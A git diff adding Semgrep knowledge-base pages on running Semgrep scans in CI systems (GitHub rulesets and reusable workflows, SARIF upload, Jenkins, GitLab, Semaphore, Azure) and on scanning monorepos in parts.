+ Click **Create new token** on **Settings > [Tokens](https://semgrep.dev/orgs/-/settings/tokens)** in the Semgrep AppSec Platform.
+
+
+ Ensure the **Agent (CI)** scope is checked for the token.
+
+
+ Copy the token value for use on GitHub, and click **Save**.
+
+
+ Create an organization secret, following the [GitHub documentation](https://docs.github.com/en/enterprise-cloud@latest/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-an-organization).
+
+
+ Name the secret `SEMGREP_APP_TOKEN`.
+
+
+ Paste the value you copied from the Semgrep AppSec Platform.
+
+
+ Select a value for **Repository access** that matches the repositories you intend to scan with the workflow.
+
+
+ Click **Add secret**.
+
+
+
+## Create an organization ruleset
+
+To create the ruleset:
+
+
+
+ Go to your GitHub organization page and click **Settings**.
+
+
+ Under **Code, planning, and automation**, click **Repository** and then **Repository rulesets**.
+
+
+ .
+
+
+
+ Click **New branch ruleset**.
+
+
+ Configure the enforcement status, bypass list, target repositories, and target branches based on your organization policies.
+
+
+ Under **Branch protections**, check the box **Require workflows to pass before merging**.
+
+
+ Click **Add workflow**.
+
+
+ In the **Add required workflow** modal, select the repository where you placed the Semgrep workflow.
+
+
+ Then, select the branch, tag, or commit to use.
+
+
+ In the **Pick a workflow file** field, click and select the Semgrep workflow you created in [Setting up the central Semgrep scan workflow](#set-up-the-central-semgrep-scan-workflow).
+
+
+ Click **Add workflow**.
+
+
+ 
+
+
+
+ Click **Create** to create the ruleset.
+
+
+
+Refer to GitHub's [Creating rulesets for repositories in your organization](https://docs.github.com/en/enterprise-cloud@latest/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization) for more general guidance on creating a ruleset for your organization.
+
+## Verify by creating a pull request
+
+After completing the preceding steps, create a pull request in an affected repository to verify the workflow runs as expected.
+
+
+
+ Identify a repository targeted by the organization ruleset you created in the previous section.
+
+
+ Create a pull request in that repository, following the [GitHub documentation](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request).
+
+
+ After creating the pull request, review the checks and ensure the Semgrep workflow ran as expected.
+
+
+
+The required workflow allows merge if the scan is successful, or blocks the pull request if the scan has blocking findings.
+
+
+
+
+
+## Limitations
+
+Workflows required by repository rulesets are only triggered by `pull_request` or `merge_group` events. When triggered for a pull request, Semgrep runs a [diff-aware scan](/deployment/customize-ci-jobs#set-up-diff-aware-scans), which only scans changed files.
+
+To run full scans (scan all files) for your organization's repositories as well, you would need to supplement this setup with another approach, such as [reusable workflows](/kb/semgrep-ci/github-reusable-workflows-semgrep).
diff --git a/mintlify-docs/kb/semgrep-ci/github-reusable-workflows-semgrep.mdx b/mintlify-docs/kb/semgrep-ci/github-reusable-workflows-semgrep.mdx
new file mode 100644
index 0000000000..0716132a01
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/github-reusable-workflows-semgrep.mdx
@@ -0,0 +1,63 @@
+---
+title: "Set up reusable GitHub workflows for Semgrep scans"
+---
+
+Reusable workflows allow you to simplify the process of configuring `.github/workflows/semgrep.yml` files for each of your repositories. You define a workflow once in a central repository, then reuse it in workflows in other repositories. This [avoids duplication](https://docs.github.com/en/actions/using-workflows/reusing-workflows#overview) and makes maintenance easier.
+
+Reusable workflows can be triggered by several types of events, including push, pull request, and schedule. This makes them relatively flexible compared to repository rulesets. Repository rulesets or branch protection rules can only be triggered by pull request event types.
+
+## Set up a reusable workflow
+
+
+
+ Create a new repository to hold your reusable workflow, and add a `.github/workflows/semgrep.yml` file.
+
+ 
+
+
+
+ Add the job configuration to `semgrep.yml` under `jobs:`. You can use the job definition from the [recommended snippet](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) or your current job configuration.
+
+
+ Under the `on:` key, add `workflow_call`. This defines the condition to trigger the job described in the reusable workflow: when another repository calls it. Other keys under `on:` are optional for the reusable workflow.
+
+ 
+
+
+
+ In each repository where you want your reusable workflow called, create or update the `semgrep.yml` file to call the reusable workflow. To do this, include `uses` under the `jobs:` key as shown in the following sample configuration.
+
+
+
+```
+name: Semgrep
+on:
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request: {}
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Schedule the CI job (this method uses cron syntax):
+ schedule:
+ # Please change the cron schedule to a random time to avoid load spikes on GHA.
+ - cron: '24 13 * * *' # Sets Semgrep to scan every day at 13:24 UTC.
+jobs:
+ call-semgrep:
+ uses: {ORG}/{REPO}/.github/workflows/semgrep.yml@main
+ secrets: inherit
+```
+
+When using this sample configuration, be sure to update the schedule under `on` to a random time, and set repository details and path for the reusable workflow under `jobs` to match where you stored your reusable workflow.
+
+The `secrets: inherit` line passes the secrets from the calling workflow to the called workflow, so each calling repository must also have a `SEMGREP_APP_TOKEN` secret added. GitHub [does not currently support](https://github.com/github/roadmap/issues/636) passing secrets from a central reusable workflow (the called workflow) to the calling workflows.
+
+## Run a scan
+
+Once you've configured the workflows for your repositories, the reusable workflow is called whenever a triggering event occurs, such as when a developer opens a pull request or commits a change.
+
+
+
+
+
+## Limitations
+
+As described in [Set up a reusable workflow](#set-up-a-reusable-workflow), you must create a `.github/workflows/semgrep.yml` file for each repository to call the reusable workflow **and** add a `SEMGREP_APP_TOKEN` secret to the repository. This is in contrast to [repository rulesets](/kb/semgrep-ci/github-repository-rulesets-semgrep), which only require the central workflow file to be added.
diff --git a/mintlify-docs/kb/semgrep-ci/github-upload-findings-in-security-dashboard.mdx b/mintlify-docs/kb/semgrep-ci/github-upload-findings-in-security-dashboard.mdx
new file mode 100644
index 0000000000..584a8c95ad
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/github-upload-findings-in-security-dashboard.mdx
@@ -0,0 +1,82 @@
+---
+title: "Why aren't findings populating in the GitHub Advanced Security Dashboard after running Semgrep in CI?"
+description: "When scanning with Semgrep in CI, findings automatically populate in Semgrep AppSec Platform. To show findings in the GitHub Advanced Security Dashboard, run an alternate job that uploads findings to the dashboard in the form of a `SARIF` file. See [Sample GitHub Actions configuration file](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file) for an example."
+---
+
+
+If you run the alternate job and it fails with a "resource not accessible by integration" error, there are two possible causes.
+
+## Your repository's workflow permissions are set to read-only
+
+Repository-level workflow permissions are set to `read-only` (default) unless they've previously been changed. Use of the `permissions` key within the workflow file does not override this setting.
+
+To update this setting:
+
+
+
+ Navigate to your organization or repository in GitHub.
+
+
+ Click **Settings > Actions > General > Workflow permissions**.
+
+
+ 
+
+ Target permissions
+
+
+
+
+
+**INFO**
+
+Changing the repository's default workflow permissions changes the permissions for all workflows in that repository. Use of the `permissions` key will not override this setting, so updating it is a required step. Learn more about the `permissions` key at [Assigning permissions to jobs](https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs#setting-the-github_token-permissions-for-all-jobs-in-a-workflow), or review the example workflow-level permissions below.
+
+
+## The workflow or job does not have the correct permissions in a private repository
+
+In order for Semgrep findings in a private repository to appear on the GitHub Advanced Security Dashboard, you must ensure that the appropriate permissions are configured at the workflow level using the `permissions` key. See the following example.
+
+### Example job configuration with `permissions` key
+
+This job only requires `write` permissions for `security-events`.
+
+```yml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep
+
+on:
+ pull_request: {}
+ workflow_dispatch: {}
+ push:
+ branches: ["master", "main"]
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+
+jobs:
+ semgrep:
+ name: semgrep/ci
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ if: (github.actor != 'dependabot[bot]')
+ permissions:
+ # required for all workflows
+ security-events: write
+ # for workflows in private repos
+ actions: read
+ contents: read
+ steps:
+ - uses: actions/checkout@v6
+ - run: semgrep ci --sarif > semgrep.sarif
+ env:
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+ - name: Upload SARIF file for GitHub Advanced Security Dashboard
+ uses: github/codeql-action/upload-sarif@v2
+ with:
+ sarif_file: semgrep.sarif
+ if: always()
+```
diff --git a/mintlify-docs/kb/semgrep-ci/jenkins-diff-scans.mdx b/mintlify-docs/kb/semgrep-ci/jenkins-diff-scans.mdx
new file mode 100644
index 0000000000..f2cc859afc
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/jenkins-diff-scans.mdx
@@ -0,0 +1,182 @@
+---
+title: "Scan GitHub projects in Jenkins"
+---
+
+This document shows you how to configure Jenkins pipelines to scan code hosted in GitHub repositories.
+
+The configuration described in this document is intended to run full scans on your default branch `main` and diff-aware scans on pull request (PR) branches. It sets up a Multibranch Pipeline project using `when` conditions in the Jenkinsfile and provides access to the variables needed for diff-aware scans.
+
+
+**INFO**
+
+Your UI (user interface) may vary depending on your Jenkins installation. This document references the Classic UI.
+
+
+
+## Create the Jenkinsfile
+
+Create the `Jenkinsfile` in the root of your repository based on the following code snippet, which uses Jenkins declarative syntax and runs Semgrep in Docker:
+
+```bash expandable
+pipeline {
+ agent any
+ environment {
+ // Required for a Semgrep AppSec Platform-connected scan:
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+ // Set typical project (repo) name
+ SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*)$/, '$1')
+ }
+ stages {
+ stage('semgrep-scan') {
+ steps {
+ sh '''docker pull semgrep/semgrep && \
+ docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci '''
+ }
+ }
+ }
+}
+```
+
+Semgrep %%diff-aware scans|diff_aware_scan%% can be set up in several different ways using Jenkins. This example sets up a Multibranch Pipeline using `when` conditions in the Jenkinsfile. The Multibranch Pipeline provides access to useful variables for the diff-aware scan configuration. The intent of the configuration is to run full scans on the default branch and diff-aware scans on PR branches.
+
+### Create the Jenkinsfile
+
+To start the process, create the initial `Jenkinsfile` in the root of the repository where you're setting up Semgrep. This code snippet uses Jenkins declarative syntax and runs Semgrep in Docker.
+
+```bash expandable
+pipeline {
+ agent any
+ environment {
+ // Required for a Semgrep Cloud Platform-connected scan:
+ SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
+ // Set repo name to expected format
+ SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*)$/, '$1')
+ }
+ stages {
+ stage('semgrep-diff-scan') {
+ when {
+ branch "PR-*"
+ }
+ steps {
+ sh '''git fetch --no-tags --force --progress -- $GIT_URL +refs/heads/$CHANGE_TARGET:refs/remotes/origin/$CHANGE_TARGET
+ git checkout -b $CHANGE_TARGET origin/$CHANGE_TARGET
+ git checkout $GIT_BRANCH
+ '''
+ sh '''docker pull semgrep/semgrep && \
+ docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
+ -e SEMGREP_BASELINE_REF=$(git merge-base $GIT_BRANCH $CHANGE_TARGET) \
+ -e SEMGREP_PR_ID="${env.CHANGE_ID}"
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci '''
+ }
+ }
+ stage('semgrep-scan') {
+ when {
+ branch "main"
+ }
+ steps {
+ sh '''docker pull semgrep/semgrep && \
+ docker run \
+ -e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
+ -e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
+ -v "$(pwd):$(pwd)" --workdir $(pwd) \
+ semgrep/semgrep semgrep ci '''
+ }
+ }
+ }
+ post {
+ // Clean after build
+ always {
+ cleanWs()
+ }
+ }
+}
+```
+
+This Jenkinsfile uses a `SEMGREP_APP_TOKEN` [stored in the Jenkins instance credentials store](https://www.jenkins.io/doc/book/security/credentials/#working-with-credentials).
+
+It defines two Semgrep stages: one runs a full scan of the main branch, while the other runs a diff-aware scan of the PR branch. The diff-aware scan configuration uses a computed merge base rather than setting the merge base to the default branch. This is similar to how Semgrep runs in GitHub actions. Setting the `SEMGREP_REPO_NAME` and `SEMGREP_PR_ID` allows Semgrep to identify the connected project and related PR.
+
+To compute the merge base, the pipeline runs additional Git commands to ensure the default branch is available to Git. Afterward, the pipeline cleans the workspace, ensuring that subsequent use of these commands for future scans is successful.
+
+
+**INFO**
+
+When possible, use a computed merge base. Diff-aware scans may produce spurious results if you set `SEMGREP_BASELINE_REF` to `main` or another primary branch and either of the following conditions apply:
+
+- The remote branch has been updated independently of the PR branch
+- The branch isn't available locally because you haven't run `git fetch` or `git checkout`, as shown in the example in this document
+
+
+
+## Configure the Multibranch Pipeline project
+
+
+
+ Log in to Jenkins, and click **New Item**.
+
+
+ Provide a name for your project, select **Multibranch Pipeline**, and click **OK**.
+
+
+ Under **Branch Sources**, click **Add source** and select **GitHub**.
+
+
+ Select **Repository HTTPS URL** and provide your project URL in the following format: `https://github.com///`.
+
+
+ Under **Behaviors > Discover branches > Strategy**, select **Exclude branches that are also filed as PRs**.
+
+
+ For **Discover pull requests from origin > Strategy**, select **The current pull request revision**.
+
+
+ For **Property strategy**, select **All branches get the same properties**.
+
+
+ Under **Build Configuration**, for **Mode**, select **by Jenkinsfile**, and enter the script path as `Jenkinsfile`.
+
+
+ Optional: Under **Scan Multibranch Pipeline Triggers**, select **Periodically if not otherwise run** if you want to run the pipeline occasionally, if it's not run for other reasons, and choose the desired interval.
+
+
+ Optional: Under **Orphaned Item Strategy**, select **Discard old items** and select the desired time interval and number of items, so that you don’t lose logs for deleted branches immediately.
+
+
+ Click **Save** to proceed.
+
+
+
+### Add GitHub webhooks
+
+If your Jenkins instance is already configured to manage webhooks automatically on GitHub, these steps are not necessary. To review the settings and view the webhook URL, go to **Manage Jenkins > System Configuration > System > GitHub**. Expand the next to **GitHub Servers** to see the webhook URL, and review the information provided to determine whether hooks are managed automatically. If not, follow these steps:
+
+
+
+ Go to the repository on GitHub.
+
+
+ Go to **Settings** > **Webhooks**.
+
+
+ Click **Add webhook**.
+
+
+ In **Payload URL**, enter your Jenkins instance's webhook URL. This URL is in the form `$JENKINS_BASE_URL/github-webhook/`.
+
+
+ For **Content type**, select **application/json**.
+
+
+ Under **Which events would you like to trigger this webhook?** select **Send me everything**.
+
+
+ Click **Add webhook** to proceed.
+
+
diff --git a/mintlify-docs/kb/semgrep-ci/mr-comments-through-gitlab-runner.mdx b/mintlify-docs/kb/semgrep-ci/mr-comments-through-gitlab-runner.mdx
new file mode 100644
index 0000000000..f190b29b2d
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/mr-comments-through-gitlab-runner.mdx
@@ -0,0 +1,43 @@
+---
+title: "Receive Semgrep MR comments through a GitLab runner"
+---
+
+Generally, Semgrep recommends using the [ GitLab merge request pipeline](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) to receive MR comments. This method is used in the default [Semgrep GitLab config file](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file).
+
+However, you can also receive comments through your own [ GitLab runner](https://docs.gitlab.com/runner/) by setting the following variables in your CI job:
+
+```sh
+ export GITLAB_CI='true'
+ export CI_PROJECT_PATH='USERNAME/PROJECTNAME'
+ export CI_MERGE_REQUEST_PROJECT_URL='https://gitlab.com/USERNAME/PROJECTNAME'
+ export CI_PROJECT_URL="$CI_MERGE_REQUEST_PROJECT_URL"
+ export CI_COMMIT_SHA='COMMIT-SHA-VALUE'
+ export CI_COMMIT_REF_NAME='REF'
+ export CI_MERGE_REQUEST_TARGET_BRANCH_NAME='BRANCH_NAME'
+ export CI_JOB_URL='JOB_URL'
+ export CI_PIPELINE_SOURCE='merge_request_event'
+ export CI_MERGE_REQUEST_IID='REQUEST_IID'
+ export CI_MERGE_REQUEST_DIFF_BASE_SHA='SHA'
+ export CI_MERGE_REQUEST_TITLE='MERGE_REQUEST_TITLE'
+```
+
+Replace magenta-colored placeholders in the preceding code snippet with your specific values (for example USERNAME).
+
+For more information on all of these variables see GitLab documentation [Predefined variables reference](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html).
+
+Example with sample values:
+
+```sh
+export GITLAB_CI='true'
+export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
+export CI_MERGE_REQUEST_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
+export CI_PROJECT_URL="$CI_MERGE_REQUEST_PROJECT_URL"
+export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
+export CI_COMMIT_REF_NAME="main"
+export CI_MERGE_REQUEST_TARGET_BRANCH_NAME="main"
+export CI_JOB_URL="https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655"
+export CI_PIPELINE_SOURCE='merge_request_event'
+export CI_MERGE_REQUEST_IID="1"
+export CI_MERGE_REQUEST_DIFF_BASE_SHA="1ecfd275763eff1d6b4844ea6874447h694gh23d"
+export CI_MERGE_REQUEST_TITLE="Testing branches"
+```
diff --git a/mintlify-docs/kb/semgrep-ci/new-scm-connections.mdx b/mintlify-docs/kb/semgrep-ci/new-scm-connections.mdx
new file mode 100644
index 0000000000..5583247347
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/new-scm-connections.mdx
@@ -0,0 +1,7 @@
+---
+title: "Why are there new source code manager (SCM) connections that I didn't manually configure listed in Semgrep AppSec Platform?"
+---
+
+If you initiate Semgrep scans using GitHub Actions or GitLab CI/CD pipeline, Semgrep may automatically create new SCM connections and add the accompanying projects to Semgrep AppSec Platform. This can happen if the CI job has sufficient permissions through the access token you provide to create the connection between Semgrep and GitHub or GitLab.
+
+The projects associated with the newly created SCM connections are listed in Semgrep AppSec Platform on the **Projects > Not scanning** page. They are not automatically scanned by Semgrep.
diff --git a/mintlify-docs/kb/semgrep-ci/scan-compressed-files-artifacts.mdx b/mintlify-docs/kb/semgrep-ci/scan-compressed-files-artifacts.mdx
new file mode 100644
index 0000000000..a9902cfb0c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/scan-compressed-files-artifacts.mdx
@@ -0,0 +1,19 @@
+---
+title: "Does Semgrep scan compressed files or other non-code files?"
+---
+
+Semgrep is a pre-build security tool optimized to search for code and text patterns. It does not scan the files within a compressed archive, nor does it scan binaries (built files).
+
+## How can I scan the files inside a compressed archive file?
+
+To scan code or text files that are stored in a compressed archive file with Semgrep, uncompress the files before performing the scan. When the scan is complete, delete the temporary files that were created.
+
+For local scans, this can be done manually. For scans in CI, add appropriate actions to the CI config.
+
+When implementing this method, it's optimal to place the compressed files in a consistent location, so that Semgrep can detect that any findings within the temporary files are the same across scans.
+
+### What are the limitations of this approach?
+
+When possible, Semgrep AppSec Platform generates hyperlinks to a finding's location within a repository and file. If the file is not persistent in the repository, and is scanned at a temporary path, then the hyperlink will lead to that temporary path and will not work properly. This may make it more difficult for developers to identify where and how to fix issues identified in the temporary files.
+
+Currently, it is not possible to uncompress files before running a scan in [Semgrep Managed Scans](/deployment/managed-scanning/overview).
diff --git a/mintlify-docs/kb/semgrep-ci/scan-monorepo-in-parts.mdx b/mintlify-docs/kb/semgrep-ci/scan-monorepo-in-parts.mdx
new file mode 100644
index 0000000000..e97596b411
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/scan-monorepo-in-parts.mdx
@@ -0,0 +1,177 @@
+---
+title: "Scanning a monorepo in parts"
+---
+
+With default CI configurations, monorepos will be scanned as a single project in Semgrep. However, monorepos very often contain a large amount of code and the code is usually divided into to different components or modules.
+
+As such, it can be helpful to scan a monorepo in parts for multiple reasons:
+
+- To improve scan performance in CI and reduce CI run times
+- To logically split the monorepo to simplify managing findings
+
+
+**NOTE**
+
+Historical secrets scanning relies on examining the entire repo commit history and cannot be split up by path as other scan types like Code, Supply Chain, or Secrets. As such, it is recommended to turn off historical secrets when splitting up a monorepo by path.
+
+
+## How to configure Semgrep in CI to split up a monorepo
+
+When scanning a repo with Semgrep in CI, the base command is `semgrep ci`. To understand this default setup for your source code manager (SCM) and CI provider, see [Getting started with Semgrep in continuous integration (CI)](/deployment/add-semgrep-to-ci).
+
+There are two features provided by Semgrep to split up a repo. Consider a monorepo named `monorepo` with four main modules:
+
+```bash
+/src/moduleA
+/src/moduleB
+/src/moduleC
+/src/moduleD
+```
+
+The easiest way to split this monorepo up is into four separate scans, one for each module. To do this, use the `--subdir` flag with the relevant path to only scan files in that module's code path:
+
+```bash
+semgrep ci --subdir src/moduleA/
+```
+
+In addition to scanning `src/moduleA/`, this command sends the results to a project called `monorepo/src/moduleA`. If you want to change the project name, set the `SEMGREP_REPO_DISPLAY_NAME` environment variable, available since Semgrep version 1.61.1.
+
+For example:
+
+```bash
+SEMGREP_REPO_DISPLAY_NAME=monorepo/moduleA semgrep ci --subdir src/moduleA/
+```
+
+It is important that scans of different modules never have the same `SEMGREP_REPO_DISPLAY_NAME`. This is necessary to ensure findings have a consistent status and is helpful for developers and security engineers to understand which findings pertain to the module that they are responsible for.
+
+To scan the entire monorepo, trigger one scan for each module.
+
+
+**INFO**
+
+You must only change `SEMGREP_REPO_DISPLAY_NAME`. Ensure that `SEMGREP_REPO_NAME` is still properly set (either automatically if using a [supported SCM and CI provider](/semgrep-ci/sample-ci-configs#feature-support) or [explicitly](/semgrep-ci/ci-environment-variables#semgrep_repo_name)) as with any Semgrep scan, in order to retain hyperlink and PR/MR comment functionality.
+
+
+
+The `--subdir` flag takes a single folder as input. If you want to scan multiple folders as part of one scan, you will have to use `--include` and `--exclude` ([see CLI reference](/cli-reference)) to tell Semgrep what paths to include. This performs file targeting across the whole monorepo. but only analyzes the included files.
+
+Unlike `--subdir`, `--include` and `--exclude` don't automatically direct results to a corresponding project, so you always have to set `SEMGREP_REPO_DISPLAY_NAME`.
+
+Here's an example using `--include`.
+
+```bash
+SEMGREP_REPO_DISPLAY_NAME=monorepo/moduleAB semgrep ci --include=src/moduleA/ --include=src/moduleB/
+```
+
+
+**INFO**
+
+WARNING: if `--include` and `--exclude` are used in a `semgrep ci` scan without setting `SEMGREP_REPO_DISPLAY_NAME`, that scan might close findings that aren't detected because that part of the repo was not scanned.
+
+
+
+### Examples using GitHub Actions
+
+The following examples each provide a GitHub Actions workflow file. This is 1 of 4 workflow files you would need to set up all the necessary scans. Each workflow file corresponds to a module of the monorepo you would like to scan and treat as a separate project in Semgrep AppSec Platform. Place all the files in the monorepo's `.github/workflows/` folder.
+
+You can name each workflow file whatever you like, but it may be helpful to name it after the module it corresponds to. In this example, something like `semgrep_moduleA.yml` would be ideal.
+
+#### With `--subdir`
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep - moduleA
+
+on:
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request:
+ # Restrict the workflow to only run for files changed in a PR at the desired module path:
+ paths:
+ - 'src/moduleA/**'
+ # Run a full scan when the Semgrep workflow file is changed:
+ push:
+ paths:
+ - '.github/workflows/semgrep_moduleA.yml'
+ # Schedule a daily full scan CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci --subdir=src/moduleA/
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+```
+
+#### With `--include`
+
+```yaml expandable
+# Name of this GitHub Actions workflow.
+name: Semgrep - moduleA
+
+on:
+ # Scan on-demand through GitHub Actions interface:
+ workflow_dispatch: {}
+ # Scan changed files in PRs (diff-aware scanning):
+ pull_request:
+ # Restrict the workflow to only run for files changed in a PR at the desired module path:
+ paths:
+ - 'src/moduleA/**'
+ # Run a full scan when the Semgrep workflow file is changed:
+ push:
+ paths:
+ - '.github/workflows/semgrep_moduleA.yml'
+ # Schedule a daily full scan CI job (this method uses cron syntax):
+ schedule:
+ - cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
+ # It is recommended to change the schedule to a random time.
+
+jobs:
+ semgrep:
+ # User definable name of this GitHub Actions job.
+ name: semgrep/ci
+ # If you are self-hosting, change the following `runs-on` value:
+ runs-on: ubuntu-latest
+
+ container:
+ # A Docker image with Semgrep installed. Do not change this.
+ image: semgrep/semgrep
+
+ # Skip any PR created by dependabot to avoid permission issues:
+ if: (github.actor != 'dependabot[bot]')
+
+ steps:
+ # Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
+ - uses: actions/checkout@v6
+ # Run the "semgrep ci" command on the command line of the docker image.
+ - run: semgrep ci --include=src/moduleA/
+ env:
+ # Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
+ # Generate a token from Semgrep AppSec Platform > Settings
+ # and add it to your GitHub secrets.
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+ # Set the display name of the project in Semgrep AppSec Platform
+ SEMGREP_REPO_DISPLAY_NAME: semgrep/monorepo/moduleA
+```
diff --git a/mintlify-docs/kb/semgrep-ci/semaphore-pipelines.mdx b/mintlify-docs/kb/semgrep-ci/semaphore-pipelines.mdx
new file mode 100644
index 0000000000..6d1ed86c9c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/semaphore-pipelines.mdx
@@ -0,0 +1,103 @@
+---
+title: "Add Semgrep to your Semaphore pipeline"
+---
+
+This document shows you how to add Semgrep into Semaphore.
+
+In Semaphore:
+
+
+
+ Create a secret with your `SEMGREP_APP_TOKEN`.
+
+
+ Open the YAML pipeline for your project using the Visual Editor.
+
+
+ Click **+Add Block**.
+
+
+ Expand **Jobs**, and add the following commands to perform a full scan:
+ ```bash
+ checkout
+ pipx install semgrep
+ semgrep ci
+ ```
+
+
+ Enable the secret that you created in Step 1. To do this, expand **Secret**, and select `SEMGREP_APP_TOKEN`.
+
+
+ Click **Run the workflow**, provide a **Commit summary**, and click **Looks good, Start** to save your changes and run the pipeline job.
+
+
+
+### Sample Semaphore configuration snippet
+
+
+
+
+The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
+
+```yaml expandable
+version: v1.0
+name: Semaphore Semgrep Example
+agent:
+ machine:
+ type: f1-standard-2
+ os_image: ubuntu2204
+blocks:
+ - name: Semgrep
+ task:
+ jobs:
+ # Job performing a full scan
+ - name: Semgrep Full Scan
+ commands:
+ - checkout
+ - pipx install semgrep
+ - semgrep ci
+ # Job performing a diff scan for PR/branches
+ - name: Semgrep Diff-aware Scan
+ commands:
+ - checkout
+ - export SEMGREP_BRANCH=$SEMAPHORE_GIT_BRANCH
+ - export SEMGREP_BASELINE_COMMIT=$SEMAPHORE_GIT_SHA
+ - pipx install semgrep
+ - semgrep ci
+ # import a secret named 'semgrep' with the SEMGREP_APP_TOKEN
+ secrets:
+ - name: SEMGREP_APP_TOKEN
+```
+
+You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
+
+
+
+
+
+The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
+
+```yaml
+version: v1.0
+name: Semaphore Semgrep CE Example
+agent:
+ machine:
+ type: f1-standard-2
+ os_image: ubuntu2204
+blocks:
+ - name: Semgrep
+ task:
+ jobs:
+ # Job performing a full scan using Semgrep CE
+ - name: Semgrep CE Scan
+ commands:
+ - checkout
+ - pipx install semgrep
+ - semgrep scan
+```
+
+You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/kb/semgrep-ci/trigger-diff-scans-env-var.mdx b/mintlify-docs/kb/semgrep-ci/trigger-diff-scans-env-var.mdx
new file mode 100644
index 0000000000..8e7fb6794c
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-ci/trigger-diff-scans-env-var.mdx
@@ -0,0 +1,160 @@
+---
+title: "How to trigger diff-aware scans"
+---
+
+When working with a CI provider, you can set Semgrep to run **[diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** as well as full scans. Diff-aware scans run on your code before and after some baseline, and only report findings newly introduced in the commits after that baseline.
+
+
+
+
+To add this configuration in Azure Pipelines, follow the general instructions provided in [Sample CI configurations: Azure Pipelines](/semgrep-ci/sample-ci-configs#azure-pipelines). If your repository's default branch is not `main`, change the references to `main` to the name of your default branch.
+
+```yaml
+steps:
+- checkout: self
+ clean: true
+ fetchDepth: 20
+persistCredentials: true
+- script: |
+ python -m pip install --upgrade pipx
+ pipx install semgrep
+ if [ $(System.PullRequest.PullRequestId) -ge 0 ]; then
+ echo "Pull Request Scan from branch: $(Build.SourceBranchName)"
+ git fetch origin main:origin/main
+ export SEMGREP_PR_ID=$(System.PullRequest.PullRequestId)
+ export SEMGREP_BASELINE_REF='origin/main'
+ semgrep ci
+```
+
